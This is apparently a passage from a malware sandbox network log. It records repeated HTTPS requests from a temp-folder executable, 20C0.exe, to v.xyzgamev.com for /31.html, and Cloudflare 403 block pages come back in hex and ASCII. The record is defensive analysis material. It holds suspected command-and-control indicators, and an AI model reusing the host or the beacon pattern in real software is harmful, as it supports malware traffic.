2022-08-31 12:29:06 UTC	4768	IN	Data Raw: 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 20 61 Data Ascii: olumns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online a
2022-08-31 12:29:06 UTC	4770	IN	Data Raw: 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">&b
2022-08-31 12:29:06 UTC	4771	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49755	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:06 UTC	4771	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:06 UTC	4771	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:21 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=qMkPM98Y8fPHfUXD4p4v4849jaSGR3HvWBJHHiwFg30WcPN6W78DMcqyu2lcYZ3UHCD4nZGzI6E4H9ptZC7Y9GEpX8a7y4aprdcPmEp7VJ%2FIkoj%2FyjwNpTlMJA1qWHY6Sw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c5126a3f91ef-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:06 UTC	4772	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:06 UTC	4772	IN	Data Raw: 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 Data Ascii: ="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEna
2022-08-31 12:29:06 UTC	4774	IN	Data Raw: 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 20 61 Data Ascii: olumns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online a
2022-08-31 12:29:06 UTC	4775	IN	Data Raw: 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">&b
2022-08-31 12:29:06 UTC	4776	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49756	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:07 UTC	4776	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:07 UTC	4776	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:22 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=8vjbCCkjWG9%2B98UpgZdLtzv%2FvsMEWQJK3HcTIY44V9wgejAXvN3HzEYNw7QweM%2FK%2Be9Bx5FsKNvOEfygqGhfr6xtYvaewc92Wze4JMJ74CkMS3RDfOZVxo7NB89jv0SgYw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c517bf3b9bc5-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:07 UTC	4777	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:07 UTC	4778	IN	Data Raw: 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 Data Ascii: href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cooki
2022-08-31 12:29:07 UTC	4779	IN	Data Raw: 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 Data Ascii: cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from onli
2022-08-31 12:29:07 UTC	4780	IN	Data Raw: 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: lock sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden
2022-08-31 12:29:07 UTC	4781	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49757	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:07 UTC	4781	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:07 UTC	4781	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:22 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=J1CMcvmcEJLJbaF%2BucXa4GYfYqFmgPV2CJmcj0YzH2wrQzv4bYoyggodIhDk0xV6SqZhwujoKvNFIejCezLqIhEbyE6bkhBpm6ETeejRhn209m%2B7LoEAEeC1fO0TChvlkw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c518ea18bbb0-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:07 UTC	4782	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:07 UTC	4783	IN	Data Raw: 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 Data Ascii: ="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEna
2022-08-31 12:29:07 UTC	4784	IN	Data Raw: 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 20 61 Data Ascii: olumns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online a
2022-08-31 12:29:07 UTC	4785	IN	Data Raw: 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">&b
2022-08-31 12:29:07 UTC	4786	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49758	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:07 UTC	4786	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:07 UTC	4787	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:22 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=30c49yQvsuNoK2hJzm%2FoFhRfefHJ72gV2O5HLDBjM%2FTmVh6d%2FkapPyESmBhee9x1V8kuliKseC%2Bjmig%2FQ1BqfOwYgBOw%2B56vM5XiAsGaoPQStf4JTeT%2FaLtU7uwdVmHNOg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c51adc59719e-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:07 UTC	4787	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:07 UTC	4788	IN	Data Raw: 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 Data Ascii: -css" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator
